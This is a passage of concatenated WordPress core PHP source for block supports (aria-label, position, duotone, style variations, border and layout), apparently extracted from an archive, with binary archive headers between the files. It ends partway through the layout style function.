	$has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false );

	if ( ! $has_aria_label_support ) {
		return;
	}

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( ! array_key_exists( 'ariaLabel', $block_type->attributes ) ) {
		$block_type->attributes['ariaLabel'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Add the aria-label to the output.
 *
 * @since 6.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 *
 * @return array Block aria-label.
 */
function wp_apply_aria_label_support( $block_type, $block_attributes ) {
	if ( ! $block_attributes ) {
		return array();
	}

	$has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false );
	if ( ! $has_aria_label_support ) {
		return array();
	}

	$has_aria_label = array_key_exists( 'ariaLabel', $block_attributes );
	if ( ! $has_aria_label ) {
		return array();
	}
	return array( 'aria-label' => $block_attributes['ariaLabel'] );
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'aria-label',
	array(
		'register_attribute' => 'wp_register_aria_label_support',
		'apply'              => 'wp_apply_aria_label_support',
	)
);
PK�Vd[������position.phpnu�[���<?php
/**
 * Position block support flag.
 *
 * @package WordPress
 * @since 6.2.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 6.2.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_position_support( $block_type ) {
	$has_position_support = block_has_support( $block_type, 'position', false );

	// Set up attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_position_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Renders position styles to the block wrapper.
 *
 * @since 6.2.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_position_support( $block_content, $block ) {
	$block_type           = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$has_position_support = block_has_support( $block_type, 'position', false );

	if (
		! $has_position_support ||
		empty( $block['attrs']['style']['position'] )
	) {
		return $block_content;
	}

	$global_settings          = wp_get_global_settings();
	$theme_has_sticky_support = isset( $global_settings['position']['sticky'] ) ? $global_settings['position']['sticky'] : false;
	$theme_has_fixed_support  = isset( $global_settings['position']['fixed'] ) ? $global_settings['position']['fixed'] : false;

	// Only allow output for position types that the theme supports.
	$allowed_position_types = array();
	if ( true === $theme_has_sticky_support ) {
		$allowed_position_types[] = 'sticky';
	}
	if ( true === $theme_has_fixed_support ) {
		$allowed_position_types[] = 'fixed';
	}

	$style_attribute = isset( $block['attrs']['style'] ) ? $block['attrs']['style'] : null;
	$class_name      = wp_unique_id( 'wp-container-' );
	$selector        = ".$class_name";
	$position_styles = array();
	$position_type   = isset( $style_attribute['position']['type'] ) ? $style_attribute['position']['type'] : '';
	$wrapper_classes = array();

	if (
		in_array( $position_type, $allowed_position_types, true )
	) {
		$wrapper_classes[] = $class_name;
		$wrapper_classes[] = 'is-position-' . $position_type;
		$sides             = array( 'top', 'right', 'bottom', 'left' );

		foreach ( $sides as $side ) {
			$side_value = isset( $style_attribute['position'][ $side ] ) ? $style_attribute['position'][ $side ] : null;
			if ( null !== $side_value ) {
				/*
				 * For fixed or sticky top positions,
				 * ensure the value includes an offset for the logged in admin bar.
				 */
				if (
					'top' === $side &&
					( 'fixed' === $position_type || 'sticky' === $position_type )
				) {
					// Ensure 0 values can be used in `calc()` calculations.
					if ( '0' === $side_value || 0 === $side_value ) {
						$side_value = '0px';
					}

					// Ensure current side value also factors in the height of the logged in admin bar.
					$side_value = "calc($side_value + var(--wp-admin--admin-bar--position-offset, 0px))";
				}

				$position_styles[] =
					array(
						'selector'     => $selector,
						'declarations' => array(
							$side => $side_value,
						),
					);
			}
		}

		$position_styles[] =
			array(
				'selector'     => $selector,
				'declarations' => array(
					'position' => $position_type,
					'z-index'  => '10',
				),
			);
	}

	if ( ! empty( $position_styles ) ) {
		/*
		 * Add to the style engine store to enqueue and render position styles.
		 */
		wp_style_engine_get_stylesheet_from_css_rules(
			$position_styles,
			array(
				'context'  => 'block-supports',
				'prettify' => false,
			)
		);

		// Inject class name to block container markup.
		$content = new WP_HTML_Tag_Processor( $block_content );
		$content->next_tag();
		foreach ( $wrapper_classes as $class ) {
			$content->add_class( $class );
		}
		return (string) $content;
	}

	return $block_content;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'position',
	array(
		'register_attribute' => 'wp_register_position_support',
	)
);
add_filter( 'render_block', 'wp_render_position_support', 10, 2 );
PK�Vd[�F��
�
duotone.phpnu�[���<?php
/**
 * Duotone block support flag.
 *
 * Parts of this source were derived and modified from TinyColor,
 * released under the MIT license.
 *
 * https://github.com/bgrins/TinyColor
 *
 * Copyright (c), Brian Grinstead, http://briangrinstead.com
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *
 * @package WordPress
 * @since 5.8.0
 */

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'duotone',
	array(
		'register_attribute' => array( 'WP_Duotone', 'register_duotone_support' ),
	)
);

// Add classnames to blocks using duotone support.
add_filter( 'render_block', array( 'WP_Duotone', 'render_duotone_support' ), 10, 3 );
add_filter( 'render_block_core/image', array( 'WP_Duotone', 'restore_image_outer_container' ), 10, 1 );

// Enqueue styles.
// Block styles (core-block-supports-inline-css) before the style engine (wp_enqueue_stored_styles).
// Global styles (global-styles-inline-css) after the other global styles (wp_enqueue_global_styles).
add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_block_styles' ), 9 );
add_action( 'wp_enqueue_scripts', array( 'WP_Duotone', 'output_global_styles' ), 11 );

// Add SVG filters to the footer. Also, for classic themes, output block styles (core-block-supports-inline-css).
add_action( 'wp_footer', array( 'WP_Duotone', 'output_footer_assets' ), 10 );

// Add styles and SVGs for use in the editor via the EditorStyles component.
add_filter( 'block_editor_settings_all', array( 'WP_Duotone', 'add_editor_settings' ), 10 );

// Migrate the old experimental duotone support flag.
add_filter( 'block_type_metadata_settings', array( 'WP_Duotone', 'migrate_experimental_duotone_support_flag' ), 10, 2 );
PK�Vd[c��
�$�$block-style-variations.phpnu�[���<?php
/**
 * Block support to enable per-section styling of block types via
 * block style variations.
 *
 * @package WordPress
 * @since 6.6.0
 */

/**
 * Determines the block style variation names within a CSS class string.
 *
 * @since 6.6.0
 *
 * @param string $class_string CSS class string to look for a variation in.
 *
 * @return array|null The block style variation name if found.
 */
function wp_get_block_style_variation_name_from_class( $class_string ) {
	if ( ! is_string( $class_string ) ) {
		return null;
	}

	preg_match_all( '/\bis-style-(?!default)(\S+)\b/', $class_string, $matches );
	return $matches[1] ?? null;
}

/**
 * Recursively resolves any `ref` values within a block style variation's data.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $variation_data Reference to the variation data being processed.
 * @param array $theme_json     Theme.json data to retrieve referenced values from.
 */
function wp_resolve_block_style_variation_ref_values( &$variation_data, $theme_json ) {
	foreach ( $variation_data as $key => &$value ) {
		// Only need to potentially process arrays.
		if ( is_array( $value ) ) {
			// If ref value is set, attempt to find its matching value and update it.
			if ( array_key_exists( 'ref', $value ) ) {
				// Clean up any invalid ref value.
				if ( empty( $value['ref'] ) || ! is_string( $value['ref'] ) ) {
					unset( $variation_data[ $key ] );
				}

				$value_path = explode( '.', $value['ref'] ?? '' );
				$ref_value  = _wp_array_get( $theme_json, $value_path );

				// Only update the current value if the referenced path matched a value.
				if ( null === $ref_value ) {
					unset( $variation_data[ $key ] );
				} else {
					$value = $ref_value;
				}
			} else {
				// Recursively look for ref instances.
				wp_resolve_block_style_variation_ref_values( $value, $theme_json );
			}
		}
	}
}
/**
 * Renders the block style variation's styles.
 *
 * In the case of nested blocks with variations applied, we want the parent
 * variation's styles to be rendered before their descendants. This solves the
 * issue of a block type being styled in both the parent and descendant: we want
 * the descendant style to take priority, and this is done by loading it after,
 * in the DOM order. This is why the variation stylesheet generation is in a
 * different filter.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $parsed_block The parsed block.
 *
 * @return array The parsed block with block style variation classname added.
 */
function wp_render_block_style_variation_support_styles( $parsed_block ) {
	$classes    = $parsed_block['attrs']['className'] ?? null;
	$variations = wp_get_block_style_variation_name_from_class( $classes );

	if ( ! $variations ) {
		return $parsed_block;
	}

	$tree       = WP_Theme_JSON_Resolver::get_merged_data();
	$theme_json = $tree->get_raw_data();

	// Only the first block style variation with data is supported.
	$variation_data = array();
	foreach ( $variations as $variation ) {
		$variation_data = $theme_json['styles']['blocks'][ $parsed_block['blockName'] ]['variations'][ $variation ] ?? array();

		if ( ! empty( $variation_data ) ) {
			break;
		}
	}

	if ( empty( $variation_data ) ) {
		return $parsed_block;
	}

	/*
	 * Recursively resolve any ref values with the appropriate value within the
	 * theme_json data.
	 */
	wp_resolve_block_style_variation_ref_values( $variation_data, $theme_json );

	$variation_instance = wp_unique_id( $variation . '--' );
	$class_name         = "is-style-$variation_instance";
	$updated_class_name = $parsed_block['attrs']['className'] . " $class_name";

	/*
	 * Even though block style variations are effectively theme.json partials,
	 * they can't be processed completely as though they are.
	 *
	 * Block styles support custom selectors to direct specific types of styles
	 * to inner elements. For example, borders on Image block's get applied to
	 * the inner `img` element rather than the wrapping `figure`.
	 *
	 * The following relocates the "root" block style variation styles to
	 * under an appropriate blocks property to leverage the preexisting style
	 * generation for simple block style variations. This way they get the
	 * custom selectors they need.
	 *
	 * The inner elements and block styles for the variation itself are
	 * still included at the top level but scoped by the variation's selector
	 * when the stylesheet is generated.
	 */
	$elements_data = $variation_data['elements'] ?? array();
	$blocks_data   = $variation_data['blocks'] ?? array();
	unset( $variation_data['elements'] );
	unset( $variation_data['blocks'] );

	_wp_array_set(
		$blocks_data,
		array( $parsed_block['blockName'], 'variations', $variation_instance ),
		$variation_data
	);

	$config = array(
		'version' => WP_Theme_JSON::LATEST_SCHEMA,
		'styles'  => array(
			'elements' => $elements_data,
			'blocks'   => $blocks_data,
		),
	);

	// Turn off filter that excludes block nodes. They are needed here for the variation's inner block types.
	if ( ! is_admin() ) {
		remove_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );
	}

	// Temporarily prevent variation instance from being sanitized while processing theme.json.
	$styles_registry = WP_Block_Styles_Registry::get_instance();
	$styles_registry->register( $parsed_block['blockName'], array( 'name' => $variation_instance ) );

	$variation_theme_json = new WP_Theme_JSON( $config, 'blocks' );
	$variation_styles     = $variation_theme_json->get_stylesheet(
		array( 'styles' ),
		array( 'custom' ),
		array(
			'include_block_style_variations' => true,
			'skip_root_layout_styles'        => true,
			'scope'                          => ".$class_name",
		)
	);

	// Clean up temporary block style now instance styles have been processed.
	$styles_registry->unregister( $parsed_block['blockName'], $variation_instance );

	// Restore filter that excludes block nodes.
	if ( ! is_admin() ) {
		add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );
	}

	if ( empty( $variation_styles ) ) {
		return $parsed_block;
	}

	wp_register_style( 'block-style-variation-styles', false, array( 'wp-block-library', 'global-styles' ) );
	wp_add_inline_style( 'block-style-variation-styles', $variation_styles );

	/*
	 * Add variation instance class name to block's className string so it can
	 * be enforced in the block markup via render_block filter.
	 */
	_wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name );

	return $parsed_block;
}

/**
 * Ensures the variation block support class name generated and added to
 * block attributes in the `render_block_data` filter gets applied to the
 * block's markup.
 *
 * @since 6.6.0
 * @access private
 *
 * @see wp_render_block_style_variation_support_styles
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 *
 * @return string                Filtered block content.
 */
function wp_render_block_style_variation_class_name( $block_content, $block ) {
	if ( ! $block_content || empty( $block['attrs']['className'] ) ) {
		return $block_content;
	}

	/*
	 * Matches a class prefixed by `is-style`, followed by the
	 * variation slug, then `--`, and finally an instance number.
	 */
	preg_match( '/\bis-style-(\S+?--\d+)\b/', $block['attrs']['className'], $matches );

	if ( empty( $matches ) ) {
		return $block_content;
	}

	$tags = new WP_HTML_Tag_Processor( $block_content );

	if ( $tags->next_tag() ) {
		/*
		 * Ensure the variation instance class name set in the
		 * `render_block_data` filter is applied in markup.
		 * See `wp_render_block_style_variation_support_styles`.
		 */
		$tags->add_class( $matches[0] );
	}

	return $tags->get_updated_html();
}

/**
 * Enqueues styles for block style variations.
 *
 * @since 6.6.0
 * @access private
 */
function wp_enqueue_block_style_variation_styles() {
	wp_enqueue_style( 'block-style-variation-styles' );
}

// Register the block support.
WP_Block_Supports::get_instance()->register( 'block-style-variation', array() );

add_filter( 'render_block_data', 'wp_render_block_style_variation_support_styles', 10, 2 );
add_filter( 'render_block', 'wp_render_block_style_variation_class_name', 10, 2 );
add_action( 'wp_enqueue_scripts', 'wp_enqueue_block_style_variation_styles', 1 );

/**
 * Registers block style variations read in from theme.json partials.
 *
 * @since 6.6.0
 * @access private
 *
 * @param array $variations Shared block style variations.
 */
function wp_register_block_style_variations_from_theme_json_partials( $variations ) {
	if ( empty( $variations ) ) {
		return;
	}

	$registry = WP_Block_Styles_Registry::get_instance();

	foreach ( $variations as $variation ) {
		if ( empty( $variation['blockTypes'] ) || empty( $variation['styles'] ) ) {
			continue;
		}

		$variation_name  = $variation['slug'] ?? _wp_to_kebab_case( $variation['title'] );
		$variation_label = $variation['title'] ?? $variation_name;

		foreach ( $variation['blockTypes'] as $block_type ) {
			$registered_styles = $registry->get_registered_styles_for_block( $block_type );

			// Register block style variation if it hasn't already been registered.
			if ( ! array_key_exists( $variation_name, $registered_styles ) ) {
				register_block_style(
					$block_type,
					array(
						'name'  => $variation_name,
						'label' => $variation_label,
					)
				);
			}
		}
	}
}
PK�Vd[@��
border.phpnu�[���<?php
/**
 * Border block support flag.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the style attribute used by the border feature if needed for block
 * types that support borders.
 *
 * @since 5.8.0
 * @since 6.1.0 Improved conditional blocks optimization.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_border_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( block_has_support( $block_type, '__experimentalBorder' ) && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( wp_has_border_feature_support( $block_type, 'color' ) && ! array_key_exists( 'borderColor', $block_type->attributes ) ) {
		$block_type->attributes['borderColor'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Adds CSS classes and inline styles for border styles to the incoming
 * attributes array. This will be applied to the block markup in the front-end.
 *
 * @since 5.8.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block type.
 * @param array         $block_attributes Block attributes.
 * @return array Border CSS classes and inline styles.
 */
function wp_apply_border_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) {
		return array();
	}

	$border_block_styles      = array();
	$has_border_color_support = wp_has_border_feature_support( $block_type, 'color' );
	$has_border_width_support = wp_has_border_feature_support( $block_type, 'width' );

	// Border radius.
	if (
		wp_has_border_feature_support( $block_type, 'radius' ) &&
		isset( $block_attributes['style']['border']['radius'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' )
	) {
		$border_radius = $block_attributes['style']['border']['radius'];

		if ( is_numeric( $border_radius ) ) {
			$border_radius .= 'px';
		}

		$border_block_styles['radius'] = $border_radius;
	}

	// Border style.
	if (
		wp_has_border_feature_support( $block_type, 'style' ) &&
		isset( $block_attributes['style']['border']['style'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' )
	) {
		$border_block_styles['style'] = $block_attributes['style']['border']['style'];
	}

	// Border width.
	if (
		$has_border_width_support &&
		isset( $block_attributes['style']['border']['width'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' )
	) {
		$border_width = $block_attributes['style']['border']['width'];

		// This check handles original unitless implementation.
		if ( is_numeric( $border_width ) ) {
			$border_width .= 'px';
		}

		$border_block_styles['width'] = $border_width;
	}

	// Border color.
	if (
		$has_border_color_support &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' )
	) {
		$preset_border_color          = array_key_exists( 'borderColor', $block_attributes ) ? "var:preset|color|{$block_attributes['borderColor']}" : null;
		$custom_border_color          = isset( $block_attributes['style']['border']['color'] ) ? $block_attributes['style']['border']['color'] : null;
		$border_block_styles['color'] = $preset_border_color ? $preset_border_color : $custom_border_color;
	}

	// Generates styles for individual border sides.
	if ( $has_border_color_support || $has_border_width_support ) {
		foreach ( array( 'top', 'right', 'bottom', 'left' ) as $side ) {
			$border                       = isset( $block_attributes['style']['border'][ $side ] ) ? $block_attributes['style']['border'][ $side ] : null;
			$border_side_values           = array(
				'width' => isset( $border['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ? $border['width'] : null,
				'color' => isset( $border['color'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ? $border['color'] : null,
				'style' => isset( $border['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ? $border['style'] : null,
			);
			$border_block_styles[ $side ] = $border_side_values;
		}
	}

	// Collect classes and styles.
	$attributes = array();
	$styles     = wp_style_engine_get_styles( array( 'border' => $border_block_styles ) );

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Checks whether the current block type supports the border feature requested.
 *
 * If the `__experimentalBorder` support flag is a boolean `true` all border
 * support features are available. Otherwise, the specific feature's support
 * flag nested under `experimentalBorder` must be enabled for the feature
 * to be opted into.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type    Block type to check for support.
 * @param string        $feature       Name of the feature to check support for.
 * @param mixed         $default_value Fallback value for feature support, defaults to false.
 * @return bool Whether the feature is supported.
 */
function wp_has_border_feature_support( $block_type, $feature, $default_value = false ) {
	// Check if all border support features have been opted into via `"__experimentalBorder": true`.
	if ( $block_type instanceof WP_Block_Type ) {
		$block_type_supports_border = isset( $block_type->supports['__experimentalBorder'] )
			? $block_type->supports['__experimentalBorder']
			: $default_value;
		if ( true === $block_type_supports_border ) {
			return true;
		}
	}

	// Check if the specific feature has been opted into individually
	// via nested flag under `__experimentalBorder`.
	return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value );
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'border',
	array(
		'register_attribute' => 'wp_register_border_support',
		'apply'              => 'wp_apply_border_support',
	)
);
PK�Vd[,�>!��
layout.phpnu�[���<?php
/**
 * Layout block support flag.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Returns layout definitions, keyed by layout type.
 *
 * Provides a common definition of slugs, classnames, base styles, and spacing styles for each layout type.
 * When making changes or additions to layout definitions, the corresponding JavaScript definitions should
 * also be updated.
 *
 * @since 6.3.0
 * @since 6.6.0 Updated specificity for compatibility with 0-1-0 global styles specificity.
 * @access private
 *
 * @return array[] Layout definitions.
 */
function wp_get_layout_definitions() {
	$layout_definitions = array(
		'default'     => array(
			'name'          => 'default',
			'slug'          => 'flow',
			'className'     => 'is-layout-flow',
			'baseStyles'    => array(
				array(
					'selector' => ' > .alignleft',
					'rules'    => array(
						'float'               => 'left',
						'margin-inline-start' => '0',
						'margin-inline-end'   => '2em',
					),
				),
				array(
					'selector' => ' > .alignright',
					'rules'    => array(
						'float'               => 'right',
						'margin-inline-start' => '2em',
						'margin-inline-end'   => '0',
					),
				),
				array(
					'selector' => ' > .aligncenter',
					'rules'    => array(
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => ' > :first-child',
					'rules'    => array(
						'margin-block-start' => '0',
					),
				),
				array(
					'selector' => ' > :last-child',
					'rules'    => array(
						'margin-block-end' => '0',
					),
				),
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin-block-start' => null,
						'margin-block-end'   => '0',
					),
				),
			),
		),
		'constrained' => array(
			'name'          => 'constrained',
			'slug'          => 'constrained',
			'className'     => 'is-layout-constrained',
			'baseStyles'    => array(
				array(
					'selector' => ' > .alignleft',
					'rules'    => array(
						'float'               => 'left',
						'margin-inline-start' => '0',
						'margin-inline-end'   => '2em',
					),
				),
				array(
					'selector' => ' > .alignright',
					'rules'    => array(
						'float'               => 'right',
						'margin-inline-start' => '2em',
						'margin-inline-end'   => '0',
					),
				),
				array(
					'selector' => ' > .aligncenter',
					'rules'    => array(
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
				array(
					'selector' => ' > :where(:not(.alignleft):not(.alignright):not(.alignfull))',
					'rules'    => array(
						'max-width'    => 'var(--wp--style--global--content-size)',
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
				array(
					'selector' => ' > .alignwide',
					'rules'    => array(
						'max-width' => 'var(--wp--style--global--wide-size)',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => ' > :first-child',
					'rules'    => array(
						'margin-block-start' => '0',
					),
				),
				array(
					'selector' => ' > :last-child',
					'rules'    => array(
						'margin-block-end' => '0',
					),
				),
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin-block-start' => null,
						'margin-block-end'   => '0',
					),
				),
			),
		),
		'flex'        => array(
			'name'          => 'flex',
			'slug'          => 'flex',
			'className'     => 'is-layout-flex',
			'displayMode'   => 'flex',
			'baseStyles'    => array(
				array(
					'selector' => '',
					'rules'    => array(
						'flex-wrap'   => 'wrap',
						'align-items' => 'center',
					),
				),
				array(
					'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001.
					'rules'    => array(
						'margin' => '0',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => '',
					'rules'    => array(
						'gap' => null,
					),
				),
			),
		),
		'grid'        => array(
			'name'          => 'grid',
			'slug'          => 'grid',
			'className'     => 'is-layout-grid',
			'displayMode'   => 'grid',
			'baseStyles'    => array(
				array(
					'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001.
					'rules'    => array(
						'margin' => '0',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => '',
					'rules'    => array(
						'gap' => null,
					),
				),
			),
		),
	);

	return $layout_definitions;
}

/**
 * Registers the layout block attribute for block types that support it.
 *
 * @since 5.8.0
 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_layout_support( $block_type ) {
	$support_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
	if ( $support_layout ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'layout', $block_type->attributes ) ) {
			$block_type->attributes['layout'] = array(
				'type' => 'object',
			);
		}
	}
}

/**
 * Generates the CSS corresponding to the provided layout.
 *
 * @since 5.9.0
 * @since 6.1.0 Added `$block_spacing` param, use style engine to enqueue styles.
 * @since 6.3.0 Added grid layout type.
 * @since 6.6.0 Removed duplicated selector from layout styles.
 *              Enabled negative margins for alignfull children of blocks with custom padding.
 * @access private
 *
 * @param string               $selector                      CSS selector.
 * @param array                $layout                        Layout object. The one that is passed has already checked
 *                                                            the existence of default block layout.
 * @param bool                 $has_block_gap_support         Optional. Whether the theme has support for the block gap. Default false.
 * @param string|string[]|null $gap_value                     Optional. The block gap value to apply. Default null.
 * @param bool                 $should_skip_gap_serialization Optional. Whether to skip applying the user-defined value set in the editor. Default false.
 * @param string               $fallback_gap_value            Optional. The block gap value to apply. Default '0.5em'.
 * @param array|null           $block_spacing                 Optional. Custom spacing set on the block. Default null.
 * @return string CSS styles on success. Else, empty string.
 */
function wp_get_layout_style( $selector, $layout, $has_block_gap_support = false, $gap_value = null, $should_skip_gap_serialization = false, $fallback_gap_value = '0.5em', $block_spacing = null ) {
	$layout_type   = isset( $layout['type'] ) ? $layout['type'] : 'default';
	$layout_styles = array();

	if ( 'default' === $layout_type ) {
		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'constrained' === $layout_type ) {
		$content_size    = isset( $layout['contentSize'] ) ? $layout['contentSize'] : '';
		$wide_size       = isset( $layout['wideSize'] ) ? $layout['wideSize'] : '';
		$justify_content = isset( $layout['justifyContent'] ) ? $layout['justifyContent'] : 'center';

		$all_max_width_value  = $content_size ? $content_size : $wide_size;
		$wide_max_width_value = $wide_size ? $wide_size : $content_size;

		// Make sure there is a single CSS rule, and all tags are stripped for security.
		$all_max_width_value  = safecss_filter_attr( explode( ';', $all_max_width_value )[0] );
		$wide_max_width_value = safecss_filter_attr( explode( ';', $wide_max_width_value )[0] );

		$margin_left  = 'left' === $justify_content ? '0 !important' : 'auto !important';
		$margin_right = 'right' === $justify_content ? '0 !important' : 'auto !important';

		if ( $content_size || $wide_size ) {
			array_push(
				$layout_styles,
				array(
					'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
					'declarations' => array(
						'max-width'    => $all_max_width_value,
						'margin-left'  => $margin_left,
						'margin-right' => $margin_right,
					),
				),
				array(
					'selector'     => "$selector > .alignwide",
					'declarations' => array( 'max-width' => $wide_max_width_value ),
				),
				array(
					'selector'     => "$selector .alignfull",
					'declarations' => array( 'max-width' => 'none' ),
				)
			);
		}

		if ( isset( $block_spacing ) ) {
			$block_spacing_values = wp_style_engine_get_styles(
				array(
					'spacing' => $block_spacing,
				)
			);

			/*
			 * Handle negative margins for alignfull children of blocks with custom padding set.
			 * They're added separately because padding might only be set on one side.
			 */
			if ( isset( $block_spacing_values['declarations']['padding-right'] ) ) {
				$padding_right = $block_spacing_values['declarations']['padding-right'];
				// Add unit if 0.
				if ( '0' === $padding_right ) {
					$padding_right = '0px';
				}
				$layout_styles[] = array(
					'selector'     => "$selector > .alignfull",
					'declarations' => array( 'margin-right' => "calc($padding_right * -1)" ),
				);
			}
			if ( isset( $block_spacing_values['declarations']['padding-left'] ) ) {
				$padding_left = $block_spacing_values['declarations']['padding-left'];
				// Add unit if 0.
				if ( '0' === $padding_left ) {
					$padding_left = '0px';
				}
				$layout_styles[] = array(
					'selector'     => "$selector > .alignfull",
					'declarations' => array( 'margin-left' => "calc($padding_left * -1)" ),
				);
			}
		}

		if ( 'left' === $justify_content ) {
			$layout_styles[] = array(
				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-left' => '0 !important' ),
			);
		}

		if ( 'right' === $justify_content ) {
			$layout_styles[] = array(
				'selector'     => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
				'declarations' => array( 'margin-right' => '0 !important' ),
			);
		}

		if ( $has_block_gap_support ) {
			if ( is_array( $gap_value ) ) {
				$gap_value = isset( $gap_value['top'] ) ? $gap_value['top'] : null;
			}
			if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
				// Get spacing CSS variable from preset value if provided.
				if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
					$index_to_splice = strrpos( $gap_value, '|' ) + 1;
					$slug            = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
					$gap_value       = "var(--wp--preset--spacing--$slug)";
				}

				array_push(
					$layout_styles,
					array(
						'selector'     => "$selector > *",
						'declarations' => array(
							'margin-block-start' => '0',
							'margin-block-end'   => '0',
						),
					),
					array(
						'selector'     => "$selector > * + *",
						'declarations' => array(
							'margin-block-start' => $gap_value,
							'margin-block-end'   => '0',
						),
					)
				);
			}
		}
	} elseif ( 'flex' === $layout_type ) {
